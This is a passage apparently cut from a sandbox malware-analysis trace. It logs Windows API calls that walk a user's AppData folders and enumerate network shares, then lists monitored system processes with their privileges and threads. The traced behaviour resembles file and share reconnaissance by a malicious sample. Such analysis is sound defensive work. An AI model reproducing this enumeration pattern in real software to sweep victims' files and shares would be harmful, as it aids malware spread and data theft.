returned="Linguistics\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.058] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.058] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.058] PathFindFileNameW (pszPath="") returned="" [0128.058] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.059] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.059] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.059] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.059] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.059] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.059] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.059] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.059] PathFindFileNameW (pszPath="") returned="" [0128.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.060] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.060] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.060] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.060] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.067] SendMessageW (hWnd=0x10156, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 297 os_tid = 0x56c [0122.970] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x3a8fee0 | out: lphEnum=0x3a8fee0*=0x306c860) returned 0x0 [0123.327] WNetEnumResourceW (in: hEnum=0x306c860, lpcCount=0x3a8fedc, lpBuffer=0x30ef088, lpBufferSize=0x3a8fed8 | out: lpcCount=0x3a8fedc, lpBuffer=0x30ef088, lpBufferSize=0x3a8fed8) returned 0x0 [0123.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041ec0 [0123.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f08 [0123.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0123.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f50 [0123.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f98 [0123.327] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x30ef088, lphEnum=0x3a8fe28 | out: lphEnum=0x3a8fe28*=0x6a1fa8) returned 0x0 [0123.335] WNetEnumResourceW (in: hEnum=0x6a1fa8, lpcCount=0x3a8fe24, lpBuffer=0x30f3090, lpBufferSize=0x3a8fe20 | out: lpcCount=0x3a8fe24, lpBuffer=0x30f3090, lpBufferSize=0x3a8fe20) returned 0x103 [0123.335] WNetCloseEnum (hEnum=0x6a1fa8) returned 0x0 [0123.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f08 | out: hHeap=0x5c0000) returned 1 [0123.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041ec0 | out: hHeap=0x5c0000) returned 1 [0123.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041ec0 [0123.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f08 [0123.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0) returned 0x3071a88 [0123.336] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041770 [0123.336] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042028 [0123.336] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f98 | out: hHeap=0x5c0000) returned 1 [0123.336] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f50 | out: hHeap=0x5c0000) returned 1 [0123.336] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0123.336] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f50 [0123.336] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f98 [0123.336] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x30ef0a8, lphEnum=0x3a8fe28 | out: lphEnum=0x3a8fe28*=0x3a8fe44) returned 0x4b8 [0135.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f08 | out: hHeap=0x5c0000) returned 1 [0135.980] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041ec0 | out: hHeap=0x5c0000) returned 1 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x150) returned 0x30588d8 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041ec0 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041f08 [0135.980] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041ad0 [0135.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0135.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042028 | out: hHeap=0x5c0000) returned 1 [0135.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041770 | out: hHeap=0x5c0000) returned 1 [0135.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f98 | out: hHeap=0x5c0000) returned 1 [0135.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041f50 | out: hHeap=0x5c0000) returned 1 [0135.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3071a88 | out: hHeap=0x5c0000) returned 1 [0135.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0135.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0135.981] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x30ef0c8, lphEnum=0x3a8fe28 | out: lphEnum=0x3a8fe28*=0x3a8fe44) returned 0x4c6 [0135.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0135.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0135.986] WNetEnumResourceW (in: hEnum=0x306c860, lpcCount=0x3a8fedc, lpBuffer=0x30ef088, lpBufferSize=0x3a8fed8 | out: lpcCount=0x3a8fedc, lpBuffer=0x30ef088, lpBufferSize=0x3a8fed8) returned 0x103 [0135.986] WNetCloseEnum (hEnum=0x306c860) returned 0x0 [0135.986] SendMessageW (hWnd=0x10156, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 298 os_tid = 0x6fc Thread: id = 313 os_tid = 0x658 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x92fd000" os_pid = "0x120" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x4d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dba5" [0xc000000f], "LOCAL" [0x7] Thread: id = 169 os_tid = 0x7c4 Thread: id = 170 os_tid = 0x7a0 Thread: id = 171 os_tid = 0x78c Thread: id = 172 os_tid = 0x5e4 Thread: id = 173 os_tid = 0x144 Thread: id = 174 os_tid = 0x150 Thread: id = 175 os_tid = 0x154 Thread: id = 176 os_tid = 0x134 Thread: id = 177 os_tid = 0x12c Thread: id = 178 os_tid = 0x11c Thread: id = 212 os_tid = 0x7f0 Thread: id = 213 os_tid = 0x7f4 Thread: id = 214 os_tid = 0x424 Thread: id = 215 os_tid = 0x4b4 Thread: id = 216 os_tid = 0x4f0 Thread: id = 218 os_tid = 0x21c Thread: id = 312 os_tid = 0x65c Thread: id = 314 os_tid = 0x630 Process: id = "13" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x7af2000" os_pid = "0x3a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x120" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e216" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 179 os_tid = 0x66c Thread: id = 180 os_tid = 0x634 Thread: id = 181 os_tid = 0x628 Thread: id = 182 os_tid = 0x620 Thread: id = 183 os_tid = 0x61c Thread: id = 184 os_tid = 0x610 Thread: id = 185 os_tid = 0x608 Thread: id = 186 os_tid = 0x604 Thread: id = 187 os_tid = 0x5ec Thread: id = 188 os_tid = 0x5e0 Thread: id = 189 os_tid = 0x5dc Thread: id = 190 os_tid = 0x59c Thread: id = 191 os_tid = 0x590 Thread: id = 192 os_tid = 0x574 Thread: id = 193 os_tid = 0x508 Thread: id = 194 os_tid = 0x4ec Thread: id = 195 os_tid = 0x4cc Thread: id = 196 os_tid = 0x4c8 Thread: id = 197 os_tid = 0x4c4 Thread: id = 198 os_tid = 0x4c0 Thread: id = 199 os_tid = 0x4b0 Thread: id = 200 os_tid = 0x4a4 Thread: id = 201 os_tid = 0x4a0 Thread: id = 202 os_tid = 0x490 Thread: id = 203 os_tid = 0x408 Thread: id = 204 os_tid = 0x404 Thread: id = 205 os_tid = 0x158 Thread: id = 206 os_tid = 0x2bc Thread: id = 207 os_tid = 0x128 Thread: id = 208 os_tid = 0x148 Thread: id = 209 os_tid = 0x160 Thread: id = 210 os_tid = 0x3dc Thread: id = 211 os_tid = 0x3ac Thread: id = 217 os_tid = 0x4a8 Thread: id = 244 os_tid = 0x31c Thread: id = 316 os_tid = 0x794 Thread: id = 318 os_tid = 0x414 Thread: id = 329 os_tid = 0x580 Thread: id = 330 os_tid = 0x620 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7748f000" os_pid = "0x558" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x120" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00015d3f" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 219 os_tid = 0x344 Thread: id = 220 os_tid = 0x7e8 Thread: id = 221 os_tid = 0x7e4 Thread: id = 222 os_tid = 0x7e0 Thread: id = 223 os_tid = 0x7d8 Thread: id = 224 os_tid = 0x7d0 Thread: id = 225 os_tid = 0x7a4 Thread: id = 226 os_tid = 0x790 Thread: id = 227 os_tid = 0x6c8 Thread: id = 228 os_tid = 0x6c4 Thread: id = 229 os_tid = 0x6c0 Thread: id = 230 os_tid = 0x6bc Thread: id = 231 os_tid = 0x69c Thread: id = 232 os_tid = 0x67c Thread: id = 233 os_tid = 0x668 Thread: id = 234 os_tid = 0x660 Thread: id = 235 os_tid = 0x63c Thread: id = 236 os_tid = 0x5b8 Thread: id = 237 os_tid = 0x578 Thread: id = 238 os_tid = 0x568 Thread: id = 239 os_tid = 0x564 Thread: id = 240 os_tid = 0x560 Thread: id = 241 os_tid = 0x55c Thread: id = 315 os_tid = 0x278 Thread: id = 317 os_tid = 0x7d4 Process: id = "15" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x70d73000" os_pid = "0x328" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x3a8" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e216" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 245 os_tid = 0x5f0 Thread: id = 246 os_tid = 0x588 Thread: id = 247 os_tid = 0x58c Thread: id = 248 os_tid = 0x5c8 Thread: id = 249 os_tid = 0x5d8 Thread: id = 250 os_tid = 0x318 Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9ded000" os_pid = "0x378" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x4d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ce1b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 251 os_tid = 0x4bc Thread: id = 252 os_tid = 0x434 Thread: id = 253 os_tid = 0x468 Thread: id = 254 os_tid = 0x484 Thread: id = 255 os_tid = 0x470 Thread: id = 256 os_tid = 0x7f8 Thread: id = 257 os_tid = 0x7ec Thread: id = 258 os_tid = 0x7c8 Thread: id = 259 os_tid = 0x788 Thread: id = 260 os_tid = 0x784 Thread: id = 261 os_tid = 0x780 Thread: id = 262 os_tid = 0x77c Thread: id = 263 os_tid = 0x774 Thread: id = 264 os_tid = 0x768 Thread: id = 265 os_tid = 0x760 Thread: id = 266 os_tid = 0x758 Thread: id = 267 os_tid = 0x754 Thread: id = 268 os_tid = 0x74c Thread: id = 269 os_tid = 0x744 Thread: id = 270 os_tid = 0x73c Thread: id = 271 os_tid = 0x734 Thread: id = 272 os_tid = 0x730 Thread: id = 273 os_tid = 0x72c Thread: id = 274 os_tid = 0x724 Thread: id = 275 os_tid = 0x710 Thread: id = 276 os_tid = 0x43c Thread: id = 277 os_tid = 0x440 Thread: id = 278 os_tid = 0x53c Thread: id = 279 os_tid = 0x4ac Thread: id = 280 os_tid = 0x49c Thread: id = 281 os_tid = 0x498 Thread: id = 282 os_tid = 0x494 Thread: id = 283 os_tid = 0x48c Thread: id = 284 os_tid = 0x220 Thread: id = 285 os_tid = 0x1c8 Thread: id = 286 os_tid = 0xf0 Thread: id = 287 os_tid = 0x3fc Thread: id = 288 os_tid = 0x3f0 Thread: id = 289 os_tid = 0x3a4 Thread: id = 290 os_tid = 0x3a0 Thread: id = 291 os_tid = 0x39c Thread: id = 292 os_tid = 0x398 Thread: id = 293 os_tid = 0x384 Thread: id = 294 os_tid = 0x37c Thread: id = 299 os_tid = 0x708 Thread: id = 300 os_tid = 0x714 Thread: id = 301 os_tid = 0x680 Thread: id = 302 os_tid = 0x684 Thread: id = 303 os_tid = 0x5d4 Thread: id = 304 os_tid = 0x728 Thread: id = 305 os_tid = 0x5d0 Thread: id = 306 os_tid = 0x718 Thread: id = 307 os_tid = 0x5a8 Thread: id = 308 os_tid = 0x5bc Thread: id = 309 os_tid = 0x5a4 Thread: id = 310 os_tid = 0x5a0 Thread: id = 311 os_tid = 0x738 Thread: id = 319 os_tid = 0x118 Thread: id = 320 os_tid = 0x1ec Thread: id = 321 os_tid = 0x36c Thread: id = 322 os_tid = 0x124 Thread: id = 323 os_tid = 0x240 Thread: id = 324 os_tid = 0xc0 Thread: id = 325 os_tid = 0xc4 Thread: id = 326 os_tid = 0x90 Thread: id = 327 os_tid = 0x520 Thread: id = 328 os_tid = 0x524